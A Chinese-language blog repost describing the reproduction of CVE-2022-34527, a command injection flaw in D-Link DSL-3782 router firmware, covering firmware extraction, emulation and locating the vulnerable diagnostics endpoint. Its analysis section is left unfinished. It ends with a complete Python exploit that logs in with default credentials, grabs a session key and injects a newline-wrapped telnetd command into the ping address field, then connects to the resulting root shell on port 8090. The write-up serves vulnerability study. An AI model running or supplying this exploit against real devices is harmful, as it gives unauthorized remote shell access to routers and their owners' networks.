CVE-2022-34527 D-Link DSL-3782命令注入漏洞复现

news2024/11/19 8:30:20

一、漏洞描述

CVE-2022-34527 D-Link DSL-3782 v1.03及以下版本被发现包含通过函数byte_4C0160的命令注入漏洞,根据已知公开在cfg_manger 文件的代码 sub_474c78 函数中,byte_4C0160作为system的参数执行。

固件地址:https://media.dlink.eu/support/products/dsl/dsl-3782/driver_software/dsl-3782_a1_eu_1.01_07282016.zip

二、固件提取

iot@attifyos ~/D/dsl-3782_a1_eu_1.01_07282016> binwalk -Me DSL-3782_A1_EU_1.01_07282016.bin

在这里插入图片描述
首先通过查询路由启动信息服务,来找到相关需要验证这个注入漏洞的文件(命令)。
/usr/etc/init.d/rcS 是一个在Linux系统中用于初始化系统的脚本文件。在路由器或嵌入式系统中,它通常是启动系统时会自动运行的脚本之一,用于执行各种初始化任务和设置。直接通过关键字直接搜索server

#Web server
if [ ! -d "/var/boaroot/html/" ] || [ ! -d "/var/boaroot/cgi-bin/" ]; then
/userfs/bin/boa -c /boaroot -d &
/bin/rm -rf /var/boaroot
else
/userfs/bin/boa -c /var/boaroot -d &

在这里插入图片描述
贴出的脚本涉及使用 Boa 网络服务器软件启动一个网页服务器。Boa 是一款轻量级且简单的网络服务器,通常用于嵌入式系统和资源受限的环境。这个脚本似乎有以下功能:

它会检查两个目录是否存在:/var/boaroot/html//var/boaroot/cgi-bin/。这些目录很可能用于存放网页服务器的 HTML 文件和 CGI 脚本。

三、固件模拟

sudo python3 fat.py ./DSL-3782.bin

在这里插入图片描述
在这里插入图片描述
默认密码是:admin,进入之后直接关闭页面直接通过菜单栏找到Management >> Diagnostics,看到过较多文章直接使用相关ping功能进行朔源漏洞点!
在这里插入图片描述
在这里插入图片描述

POST /cgi-bin/New_GUI/Set/Diagnostics.asp HTTP/1.1

抓到的POST包,有个ping功能的asp功能页面/cgi-bin/New_GUI/Set/Diagnostics.asp快捷方式找asp文件
在这里插入图片描述

<%
TcWebApi_Set("Diagnostics_Entry","Type","Type")
TcWebApi_Set("Diagnostics_Entry","Addr","Addr")
TCWebApi_commit("Diagnostics_Entry")
%>a

在这里插入图片描述

iot@attifyos ~/D/d/_/squashfs-root> grep -r Diagnostics_Entry
boaroot/cgi-bin/get/New_GUI/Diagnostics.cgi:node_name="Diagnostics_Entry"
boaroot/cgi-bin/New_GUI/Set/Diagnostics.asp:TcWebApi_Set("Diagnostics_Entry","Type","Type")
boaroot/cgi-bin/New_GUI/Set/Diagnostics.asp:TcWebApi_Set("Diagnostics_Entry","Addr","Addr")
boaroot/cgi-bin/New_GUI/Set/Diagnostics.asp:TCWebApi_commit("Diagnostics_Entry")
Binary file userfs/bin/cfg_manager matches

iot@attifyos ~/D/d/_/squashfs-root> file userfs/bin/cfg_manager matches
userfs/bin/cfg_manager: ELF 32-bit MSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-, stripped
matches:                cannot open `matches' (No such file or directory)

在这里插入图片描述
或者搜索文件名字:cfg_manager

四、漏洞分析

IDA打开文件后直接shift+F3 搜索:byte_4C0160
在这里插入图片描述
后续在更新

五、漏洞利用

在这里插入图片描述
EXP

import requests
import urllib
import os
from time import sleep
from urllib.parse import unquote
 
server = "192.168.1.1"
main_url = "http://192.168.1.1:80"
headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.82 Safari/537.36",
        }
 
 
def login():
    s = requests.Session()
    s.verify = False
    url = main_url + "/cgi-bin/Login.asp?User=admin&Pwd=admin&_=1690122728925"
    resp = s.get(url,headers=headers,timeout=10)
    print(resp.text)
 
 
def get_session_key():
    s = requests.Session()
    s.verify = False
    url = main_url + "/cgi-bin/get/New_GUI/get_sessionKey.asp"
    resp = s.get(url,headers=headers,timeout=10)
    sessionKey = resp.text
    print(sessionKey)
    return sessionKey
 
 
def exp(sessionKey=None):
 
    cmd = "%0autelnetd -p 8090 -l /bin/sh%0a"
     
    s = requests.Session()
    s.verify = False
    params = {"Type":"p", "sessionKey":urllib.parse.unquote(sessionKey),"Addr":urllib.parse.unquote(cmd)}
    url = main_url + "/cgi-bin/New_GUI/Set/Diagnostics.asp"
    resp = s.post(url,data=params,headers=headers,timeout=100000)
    print(resp.text)
 
 
if __name__ == '__main__':
    print("\n[*] Connection ",main_url);
    login()
 
    print("[*] Getting session key")
    sessionKey = get_session_key()
 
    print("[*] Sending payload")
    exp(sessionKey=sessionKey)
    print("[*] Running Telnetd Service")
    print("[*] Opening Telnet Connection\n")
    sleep(3)
    os.system('telnet ' + str(server) + ' 8090')

六、参考

D-Link DSL-3782 代码注入漏洞CVE-2022-34527分析- IOTsec-Zone物联网安全社区
命令注入漏洞CVE-2022-34527复现(学习记录)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/928015.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【开发】安防监控视频智能分析平台新功能:安全帽/反光衣/安全带AI识别详解

人工智能技术已经越来越多地融入到视频监控领域中&#xff0c;近期我们也发布了基于AI智能视频云存储/安防监控视频AI智能分析平台的众多新功能&#xff0c;该平台内置多种AI算法&#xff0c;可对实时视频中的人脸、人体、物体等进行检测、跟踪与抓拍&#xff0c;支持口罩佩戴检…

Java单元测试 JUnit 5 快速上手

一、背景 什么是 JUnit 5&#xff1f;首先就得聊下 Java 单元测试框架 JUnit&#xff0c;它与另一个框架 TestNG 占据了 Java领域里单元测试框架的主要市场&#xff0c;其中 JUnit 有着较长的发展历史和不断演进的丰富功能&#xff0c;备受大多数 Java 开发者的青睐。 而说到…

【ArcGIS Pro二次开发】(63):批量更改字段别名

在我工作中遇到的大多数图斑&#xff0c;字段名称一般是英文&#xff0c;字段别名是中文&#xff0c;使用起来是比较方便的。 但有时候也会遇到一些不一样的情况&#xff0c;不知是经过了怎样的处理&#xff0c;图斑的字段别名被修改成了和字段名称一样的英文&#xff0c;这样…

零日攻击利用 WinRAR 安全漏洞锁定交易者

Group-IB 的最新发现显示&#xff0c;自 2023 年 4 月以来&#xff0c; WinRAR 压缩软件中一个最近修补的安全漏洞已被利用为零日漏洞。 该漏洞被标记为 CVE-2023-38831&#xff0c;允许威胁者仿用文件扩展名&#xff0c;从而在伪装成看似无害的图像或文本文件的压缩包中启动恶…

Redis 的混合持久化

RDB 相比于 AOF&#xff0c;数据恢复的速度更快&#xff0c;因为是二进制数据&#xff0c;直接加载进内存即可&#xff0c;但是 RDB 的频率不好把握。 如果频率太低&#xff0c;在两次快照期间服务器发生宕机&#xff0c;可能会丢失较多的数据如果频率太高&#xff0c;频繁写入…

大数据开发要学习什么?学完又能做什么

学习大数据需要掌握什么语言基础&#xff1f; 1、Java基础 大数据框架90%以上都是使用Java开发语言&#xff0c;所以如果要学习大数据技术&#xff0c;首先要掌握Java基础语法以及JavaEE方向的相关知识。 2、MySQL数据库 这是学习大数据必须掌握的知识之一。数据的操作语言是…

【DETR】3、Conditional DETR | 拆分 content 和 spatial 来实现对 DETR 的加速

文章目录 一、Conditional DETR 是怎么被提出来的二、Conditional DETR 的具体实现2.1 框架结构2.2 DETR 的 cross-attention 和 Conditional DETR 的 cross-attention 对比 三、效果 论文&#xff1a;Conditional DETR for Fast Training Convergence 代码&#xff1a;https:…

linux————keepalived+LVS(DR模式)

一、作用 使用keepalived解决LVS的单点故障 高可用集群 二、 调度器配置 环境 两台LVS服务 一主一备 两台web服务 采用nginx &#xff08;实现LVS负载均衡&#xff09; 服务ip 主LVS 192.168.100.3 备LVS 192.168.100.6 web1 192.…

Java——一个使用Java Swing实现的考试系统的窗体类

这是一个使用Java Swing实现的考试系统的窗体类。主要包括菜单栏、题目内容、选项、按钮等组件&#xff0c;并且实现了开始考试、上一题、下一题和提交按钮的功能。 在窗体的构造方法中&#xff0c;设置了窗体的标题、大小和位置&#xff0c;并调用了init方法和setVisible方法…

30天涨粉50万+ ,知识区诞生黑马UP主

飞瓜数据&#xff08;B站版&#xff09;数据显示&#xff0c;UP主你的同桌狗兄在近30天内&#xff0c;涨粉数累积达到53.4万&#xff0c;多次登上飞瓜数据&#xff08;B站版&#xff09;【涨粉榜】。 从粉丝变化趋势图可以看到&#xff0c;涨粉高峰期就是在8月。其实UP主并不是…

NSSCTF——Web题目2

目录 一、[HNCTF 2022 Week1]2048 二、[HNCTF 2022 Week1]What is Web 三、[LitCTF 2023]1zjs 四、[NCTF 2018]签到题 五、[SWPUCTF 2021 新生赛]gift_F12 一、[HNCTF 2022 Week1]2048 知识点&#xff1a;源代码审计 解题思路&#xff1a; 1、打开控制台&#xff0c;查看…

【Python】通过现象和本质理解python赋值、浅拷贝、深拷贝

原文作者&#xff1a;我辈李想 版权声明&#xff1a;文章原创&#xff0c;转载时请务必加上原文超链接、作者信息和本声明。 文章目录 前言一、看问题本质1.认识赋值、浅拷贝、深拷贝 二.看问题现象1.改变1级数据&#xff0c;这里要改变d2.改变2级数据&#xff0c;这里改变a或者…

c++学习【20】slam中的PnP问题

考虑n个三维空间点和它们的投影和&#xff0c; 第二个相机相对于第一个相机转换 现在已知和,求第二个相机相对于第一个相机转换 , 下面随机初始化一个,由可以推导出&#xff0c;但是有误差。 : public 表示 CurveFittingVertex 类从 g2o::BaseVertex<3, Eigen::Vector3d&…

知识速递(六)|ChIP-seq分析要点集锦

书接上文组学知识速递&#xff08;五&#xff09;|ChIP-seq知多少&#xff1f;&#xff0c;当我们实验完成&#xff0c;拿到下机数据之后&#xff0c;我们最关心的就是&#xff0c;这个数据能不能用&#xff1f;所谓数据能不能用&#xff0c;其实我们会重点关注以下问题&#x…

预防缓存穿透工具类

1. 前言 缓存穿透大家都知道&#xff0c;这里简单过一下 缓存和数据库中都没有的数据&#xff0c;而用户不断发起请求。比如查询id -1 的值 想着很多面向C端的查询接口&#xff0c;可能都需要做一下缓存操作&#xff0c;这里简单写了个自定义注解&#xff0c;将查询结果(包含…

黄金现货价格强弱怎么看?

相对强弱指标RSI由韦尔斯.怀尔德(Welles Wilder)提出&#xff0c;最初被用于期货交易之中&#xff0c;后来人们发现该指标用在现货黄金市场上的效果也十分不错&#xff0c;并对它的特点不断进行归纳和总结&#xff0c;如今已经成为市场上被应用得最为广泛的技术指标之一。 我们…

【C++】GCC对应C++的版本支持

1、查看当前GCC的版本 pffNUC12WSKi7:~$ gcc -v Using built-in specs. COLLECT_GCCgcc COLLECT_LTO_WRAPPER/usr/lib/gcc/x86_64-linux-gnu/9/lto-wrapper OFFLOAD_TARGET_NAMESnvptx-none:hsa OFFLOAD_TARGET_DEFAULT1 Target: x86_64-linux-gnu Configured with: ../src/co…

高忆管理股市资讯:保持合理息差水平 新一轮存款利率下调可期

1年期借款商场报价利率(LPR)日前再度下调&#xff0c;意味着实体经济融资本钱将随之下行。业内人士以为&#xff0c;当时商业银行负债端本钱仍显刚性&#xff0c;净息差已降至近年来低位&#xff0c;为保持合理息差水平&#xff0c;商业银行存款挂牌利率或许迎来新一轮下调。 上…

实训笔记8.25

实训笔记8.25 8.25笔记一、Flume数据采集技术1.1 Flume实现数据采集主要借助Flume的组成架构1.2 Flume采集数据的时候&#xff0c;核心是编写Flume的采集脚本xxx.conf1.2.1 脚本文件主要由五部分组成 二、Flume案例实操2.1 采集一个网络端口的数据到控制台2.1.1 分析案例的组件…

NFT Insider #104:The Sandbox:全新土地销售活动 Turkishverse 来袭

引言&#xff1a;NFT Insider由NFT收藏组织WHALE Members、BeepCrypto联合出品&#xff0c;浓缩每周NFT新闻&#xff0c;为大家带来关于NFT最全面、最新鲜、最有价值的讯息。每期周报将从NFT市场数据&#xff0c;艺术新闻类&#xff0c;游戏新闻类&#xff0c;虚拟世界类&#…